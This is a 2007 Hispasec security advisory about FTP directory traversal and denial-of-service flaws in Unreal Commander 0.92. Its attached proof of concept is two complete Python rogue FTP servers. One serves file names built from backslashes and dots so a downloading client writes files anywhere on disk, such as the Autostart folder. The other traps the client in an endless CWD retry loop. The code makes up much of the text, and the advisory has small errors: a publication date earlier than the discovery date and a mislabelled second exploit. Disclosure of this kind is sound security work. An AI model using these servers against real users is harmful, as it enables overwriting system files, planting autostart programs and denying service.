X-Diesel Unreal Commander v0.92 (build 573) multiple FTP-based vulnerabilities

2007.09.13
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

HISPASEC Security Advisory http://blog.hispasec.com/lab/ Name : 2K7SEPT6 X-Diesel Unreal Commander v0.92 (build 573) multiple FTP-based vulnerabilities Class : Remote directory traversal, Remote DoS Threat level : HIGH Discovered : 2007-09-06 Published : 2007-08-24 Credit : Gynvael Coldwind Vulnerable : 0.92 (build 573), 0.92 (build 565), prior also may be affected == Abstract == Unreal Commander is an award winning freeware file manager for Windows 98/ME/2000/XP/2003/Vista. The application support multiple archive formats, has a built-in ftp client, and other features. Unreal Commander fails to correctly handle malformed file name while downloading a remote file from a malformed FTP server to a local hard driver. This allows an attacker to perform a directory traversal attack. Successful exploitation may lead to a full scale system compromise. Unreal Commander also fails to correctly handle FTP reponses. This can lead to the application entering an infinite loop, denying service to the legitimate user. == Details == 1. Remote FTP Directory Traversal The FTP feature fails to correctly check the name of a file that is to be downloaded. This filename can contain backslashes and dots, and these dots and backslashes will be used as a part of a file name. An example file list sent from the FTP server can look like this: -rwxr-xr-x 2 ftp ftp 4096 Aug 1 02:28 st..........BackSlashPoC When the user chooses to download the file (or a directory in which this file exists), the Unreal Commander will try to create the file on a local harddrive using the dots and backslashes as a part of a name. Since more then enough .... will just bring the path to the disk root, the attacker can choose any location on the disk to write the file to. The file can for example overwrite a critical system file, or create a file in the Autostart folder. See Proof of Concept exploit at the bottom of this advisory. 2. Remote FTP DoS When connecting to a malformed FTP, the Unreal Commander sends a CWD / command. If the malformed FTP replies with a "550 CWD Operation not permitted" message, the Unreal Commander tries to resend the command. The loop continues until the remote FTP answers with a message about operation being successful. If the remote FTP disconnects while Unreal Commander is still in the CWD loop, the Unreal Commander will continue to remain in the loop. The Unreal Commander does not react to Cancel/ALT+F4/ESC commands from the user, the only way to exit the loop is to terminate the application. See Proof of Concept exploit at the bottom of this advisory. == Vendor status and solution == The vendor has been informed, but has not yet released a proper patch. The solution is to check the file names of each file being downloaded from a remote unknown FTP. == Proof of Concept - Remote FTP Directory Traversal == # python FTP # by Gynvael Coldwind import socket TransferSock = 0 def sendDirList (sock): (DataSock, Address) = TransferSock.accept() print "sendDirList: TransferSock accepted a connection" sock.send("150 Opening ASCII mode data connection for file listrn"); DataSock.send("-rwxr-xr-x 2 ftp ftp 4096 Aug 1 02:28 st\..\..\..\..\..\..\BackSlashPoCn"); DataSock.close() sock.send("226 Transfer complete.rn"); print "sendDirList: Transfer completern" def sendFile (sock): (DataSock, Address) = TransferSock.accept() print "sendDirList: TransferSock accepted a connection" sock.send("150 Opening BINARY mode data connection for sth (5 bytes)rn"); DataSock.send("Proof of Concept - Remote FTP Client directory traversal vulnerability (G.C. - Hispasec)"); DataSock.close() sock.send("226 Transfer complete.rn"); print "sendDirList: Transfer completern" def handleUSER (sock, cmd, argz): sock.send("331 Password required for userrn") def handlePASS (sock, cmd, argz): sock.send("230 User logged in.rn") def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8rn") def handleFEAT (sock, cmd, argz): sock.send("211-Features:rn MDTMrn REST STREAMrn211 Endrn"); def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "rn"); def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode (127,0,0,1,10,10)rn"); def handlePWD (sock, cmd, argz): sock.send("257 "/" is current directory.rn") def handleCWD (sock, cmd, argz): sock.send("250 Requested file action okay, completed.rn") def handleLIST (sock, cmd, argz): sendDirList(sock) def handleQUIT (sock, cmd, argz): sock.send("Bye.rn") sock.close() def handleRETR (sock, cmd, argz): if argz == "/": sendDirList(sock) else: sendFile(sock) def unknown (sock, cmd, argz): sock.send("550 " + cmd + ": Operation not permittedrn") handlers = { 'USER': handleUSER, 'PASS': handlePASS, 'SYST': handleSYST, 'FEAT': handleFEAT, 'TYPE': handleTYPE, 'PASV': handlePASV, 'PWD': handlePWD, 'CWD': handleCWD, 'LIST': handleLIST, 'QUIT': handleQUIT, 'RETR': handleRETR } ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ControlSock.bind(("127.0.0.1", 2021)) ControlSock.listen(1) TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) TransferSock.bind(("127.0.0.1", 10 * 256 + 10)) TransferSock.listen(10) # Control Sock loop (ClientSock, Address) = ControlSock.accept() ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.rn"); end = 0 while not end: cmd = ClientSock.recv(1024) print "Debug: recv -> " + cmd.strip() command = (cmd[0:4]).strip() argz = ((cmd.strip())[5:]).strip() handlers.get(command, unknown)(ClientSock, command, argz) == Proof of Concept - Remote FTP Directory Traversal == # python FTP DoS # by Gynvael Coldwind import socket TransferSock = 0 def handleUSER (sock, cmd, argz): sock.send("331 Password required for userrn") def handlePASS (sock, cmd, argz): sock.send("230 User logged in.rn") def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8rn") def handleFEAT (sock, cmd, argz): sock.send("211-Features:rn MDTMrn REST STREAMrn211 Endrn"); def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "rn"); def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode (127,0,0,1,10,10)rn"); def handleQUIT (sock, cmd, argz): sock.send("Bye.rn") sock.close() def unknown (sock, cmd, argz): sock.send("550 " + cmd + ": Operation not permittedrn") print "The Unreal Commander is not in an infinite loop. You may quit this exploit, the infinite loop will last." handlers = { 'USER': handleUSER, 'PASS': handlePASS, 'SYST': handleSYST, 'FEAT': handleFEAT, 'TYPE': handleTYPE, 'PASV': handlePASV, 'QUIT': handleQUIT } ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ControlSock.bind(("127.0.0.1", 2021)) ControlSock.listen(1) TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) TransferSock.bind(("127.0.0.1", 10 * 256 + 10)) TransferSock.listen(10) # Control Sock loop (ClientSock, Address) = ControlSock.accept() ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.rn"); end = 0 while not end: cmd = ClientSock.recv(1024) print "Debug: recv -> " + cmd.strip() command = (cmd[0:4]).strip() argz = ((cmd.strip())[5:]).strip() handlers.get(command, unknown)(ClientSock, command, argz) == Disclaimer == This document and all the information it contains is provided "as is", without any warranty. Hispasec Sistemas is not responsible for the misuse of the information provided in this advisory. The advisory is provided for educational purposes only. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. Copyright (C) 2007 Hispasec Sistemas. -- Gynvael Coldwind mailto: michael AT hispasec DOT com mailto: gynvael AT vexillium DOT org


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